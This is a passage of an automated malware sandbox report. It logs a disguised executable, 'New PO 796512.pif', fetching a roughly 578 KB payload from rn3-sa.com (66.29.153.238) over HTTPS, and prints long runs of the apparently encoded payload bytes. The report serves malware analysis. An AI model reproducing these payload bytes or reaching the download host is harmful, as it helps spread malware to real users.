                                                                                          2024-11-21 15:31:07 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:31:07 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:31:07 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:31:07 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:31:07 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:31:07 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:31:08 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:31:08 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:31:08 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          1192.168.2.74972366.29.153.2384437872C:\Users\user\Documents\New PO 796512.pif
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:31:25 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:31:25 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:31:25 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:31:25 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:31:25 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:31:26 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          2192.168.2.74974566.29.153.2384435980C:\Users\user\Documents\New PO 796512.pif
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:31:34 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:31:34 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:31:34 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:31:35 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
